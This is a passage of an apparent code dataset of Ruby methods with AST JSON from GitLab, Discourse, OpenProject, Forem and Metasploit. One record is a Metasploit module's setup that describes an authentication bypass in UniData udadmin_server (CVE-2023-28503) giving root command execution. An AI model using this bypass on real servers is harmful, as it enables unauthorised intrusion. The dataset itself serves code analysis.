world\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"pop\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hello world 2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue2\"]},\"pop\"]}]}]}]}]}]}]}","id":"da42e344-6fc8-45c5-8e8d-7763002dc942"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/flow/alert_settings.rb","start_line":45,"raw_source":"def integration_credentials\n        credentials = {}\n        Page::Project::Settings::Alerts.perform do |alert|\n          alert.go_to_view_credentials\n          credentials = { url: alert.webhook_url, auth_key: alert.authorization_key }\n        end\n\n        credentials\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"integration_credentials\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credentials\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Settings\"]},\"Alerts\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alert\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"go_to_view_credentials\"]},{\"type\":\"lvasgn\",\"children\":[\"credentials\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"webhook_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"authorization_key\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"credentials\"]}]}]}","id":"83f95d68-7257-43da-892d-c61785c17da0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/cleanup/base_service.rb","start_line":21,"raw_source":"def log_event(event, extra_data = {})\n        meta = {\n          service: self.class.name,\n          cluster_id: cluster.id,\n          execution_count: @execution_count,\n          event: event\n        }\n\n        logger.info(meta.merge(extra_data))\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"optarg\",\"children\":[\"extra_data\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"meta\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cluster_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"execution_count\"]},{\"type\":\"ivar\",\"children\":[\"@execution_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meta\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"extra_data\"]}]}]}]}]}","id":"ab4eb6cf-3a0e-4e48-a16b-8080b2df6dd4"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/uploader/tasks/uploader.rb","start_line":288,"raw_source":"def extract_filename_from_response(response, uri)\n        filename =\n          if (header = response.header[\"Content-Disposition\"].presence)\n            disposition_filename =\n              header[/filename\\*=UTF-8''(\\S+)\\b/i, 1] || header[/filename=(?:\"(.+)\"|[^\\s;]+)/i, 1]\n            if disposition_filename.present?\n              URI.decode_www_form_component(disposition_filename)\n            else\n              nil\n            end\n          end\n\n        filename = File.basename(uri.path).presence || \"file\" if filename.blank?\n\n        if File.extname(filename).blank? && response.content_type.present?\n          ext = MiniMime.lookup_by_content_type(response.content_type)&.extension\n          filename = \"#{filename}.#{ext}\" if ext.present?\n        end\n\n        filename\n      end","complexity_score":40.55,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_filename_from_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"header\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Disposition\"]}]},\"presence\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"disposition_filename\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\\\\*=UTF-8''(\\\\S+)\\\\b\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"filename=(?:\\\"(.+)\\\"|[^\\\\s;]+)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disposition_filename\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"decode_www_form_component\",{\"type\":\"lvar\",\"children\":[\"disposition_filename\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]}]},\"presence\"]},{\"type\":\"str\",\"children\":[\"file\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"content_type\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ext\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiniMime\"]},\"lookup_by_content_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"content_type\"]}]},\"extension\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]}]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}","id":"0af99f33-40c8-4f9b-99da-87fc4faeef6c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/db/migrate/tables/cost_types.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t|\n      t.string :name, null: false\n      t.string :unit, null: false\n      t.string :unit_plural, null: false\n      t.boolean :default, default: false, null: false\n      t.datetime :deleted_at, precision: nil\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"unit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"unit_plural\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"2b108d22-b8cc-429a-86e5-fd509bdacba3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/change_password_service.rb","start_line":35,"raw_source":"def initialize(current_user:, session:)\n      @current_user = current_user\n      @session = session\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwarg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@session\",{\"type\":\"lvar\",\"children\":[\"session\"]}]}]}]}","id":"a743eadc-9403-4f51-838d-950759369158"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/cycle_analytics_controller.rb","start_line":76,"raw_source":"def tracking_namespace_source\n    project.namespace\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tracking_namespace_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]}","id":"f9792f05-487e-49de-8904-9fd30c9c2eff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/unidata_udadmin_auth_bypass.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',\n        'Description' => %q{\n          This module exploits an authentication bypass vulnerability in the\n          Linux version of udadmin_server, which is an RPC service that comes\n          with the Rocket Software UniData server. This affects versions of\n          UniData prior to 8.2.4 build 3003.\n\n          This service typically runs as root. It accepts a username of\n          \":local:\" and a password in the form of \"<username>:<uid>:<gid>\",\n          where username and uid must be a valid account, but gid can be\n          anything except 0.\n\n          This exploit takes advantage of this login account to authenticate\n          as a chosen user and run an arbitrary command (using the built-in\n          OsCommand message).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Ron Bowes', # Discovery, PoC, module\n        ],\n        'References' => [\n          [ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],\n          [ 'CVE', '2023-28503' ],\n        ],\n        'Platform' => ['linux', 'unix'],\n        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 31438,\n          'PrependFork' => true\n        },\n        'Privileged' => true,\n        'DisclosureDate' => '2023-03-30',\n        'Notes' => {\n          'SideEffects' => [],\n          'Reliability' => [REPEATABLE_SESSION],\n          'Stability' => [CRASH_SAFE]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),\n        OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),\n        OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),\n      ]\n    )\n  end","complexity_score":10.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Rocket Software Unidata udadmin_server Authentication Bypass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an authentication bypass vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\"          Linux version of udadmin_server, which is an RPC service that comes\\n\"]},{\"type\":\"str\",\"children\":[\"          with the Rocket Software UniData server. This affects versions of\\n\"]},{\"type\":\"str\",\"children\":[\"          UniData prior to 8.2.4 build 3003.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This service typically runs as root. It accepts a username of\\n\"]},{\"type\":\"str\",\"children\":[\"          \\\":local:\\\" and a password in the form of \\\"<username>:<uid>:<gid>\\\",\\n\"]},{\"type\":\"str\",\"children\":[\"          where username and uid must be a valid account, but gid can be\\n\"]},{\"type\":\"str\",\"children\":[\"          anything except 0.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit takes advantage of this login account to authenticate\\n\"]},{\"type\":\"str\",\"children\":[\"          as a chosen user and run an arbitrary command (using the built-in\\n\"]},{\"type\":\"str\",\"children\":[\"          OsCommand message).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ron Bowes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-28503\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[31438]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PrependFork\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-03-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"UNIRPC_USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Linux username to authenticate with (must match the uid)\"]},{\"type\":\"str\",\"children\":[\"root\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"UNIRPC_UID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Linux uid to authenticate with (must correspond to the username)\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"UNIRPC_GID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"gid to authenticate with (must not be 0, does not need to correspond to the username)\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"UNIRPC_ENDPOINT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The UniRPC service to request\"]},{\"type\":\"str\",\"children\":[\"udadmin\"]}]}]}]}]}]}]}","id":"dd5c2649-ac08-41ab-bc81-8d3cf508f622"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241230074023_rename_pages_default_domain_redirect_to_pages_primary_domain.rb","start_line":9,"raw_source":"def up\n    remove_check_constraint :project_settings, CONSTRAINT_NAME\n    rename_column_concurrently :project_settings, :pages_default_domain_redirect, :pages_primary_domain,\n      batch_column_name: :project_id\n    add_text_limit :project_settings, :pages_primary_domain, 255, constraint_name: CONSTRAINT_NAME\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_check_constraint\",{\"type\":\"sym\",\"children\":[\"project_settings\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_column_concurrently\",{\"type\":\"sym\",\"children\":[\"project_settings\"]},{\"type\":\"sym\",\"children\":[\"pages_default_domain_redirect\"]},{\"type\":\"sym\",\"children\":[\"pages_primary_domain\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_column_name\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"project_settings\"]},{\"type\":\"sym\",\"children\":[\"pages_primary_domain\"]},{\"type\":\"int\",\"children\":[255]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"4382d714-a5c0-4f18-a555-c92ebe2da22f"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/subforem.rb","start_line":165,"raw_source":"def downcase_domain\n    self.domain = domain.downcase if domain\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"downcase_domain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"domain=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain\"]},\"downcase\"]}]},null]}]}","id":"aab9a009-1823-4188-a743-e4538f200032"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/basic_health_check.rb","start_line":24,"raw_source":"def call(env)\n        return @app.call(env) unless env['PATH_INFO'] == HEALTH_PATH\n\n        # We should be using ActionDispatch::Request instead of\n        # Rack::Request to be consistent with Rails, but due to a Rails\n        # bug described in\n        # https://gitlab.com/gitlab-org/gitlab-foss/issues/58573#note_149799010\n        # hosts behind a load balancer will only see 127.0.0.1 for the\n        # load balancer's IP.\n        request = Rack::Request.new(env)\n\n        return OK_RESPONSE if client_ip_whitelisted?(request)\n\n        EMPTY_RESPONSE\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"HEALTH_PATH\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client_ip_whitelisted?\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OK_RESPONSE\"]}]},null]},{\"type\":\"const\",\"children\":[null,\"EMPTY_RESPONSE\"]}]}]}","id":"14defeeb-59a7-4a70-9f8d-9c88e5285d85"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/roles_controller.rb","start_line":60,"raw_source":"def create\n    @call = Roles::CreateService.new(user: current_user).call(create_params)\n    @role = @call.result\n\n    if @call.success?\n      flash[:notice] = t(:notice_successful_create)\n      redirect_to action: \"index\"\n    else\n      @roles = roles_scope\n\n      render action: :new, status: :unprocessable_entity\n    end\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Roles\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"create_params\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@role\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@call\"]},\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@call\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_create\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"index\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@roles\",{\"type\":\"send\",\"children\":[null,\"roles_scope\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}","id":"67f7a29e-f2b9-49ce-8575-5e1e610ea0c8"}
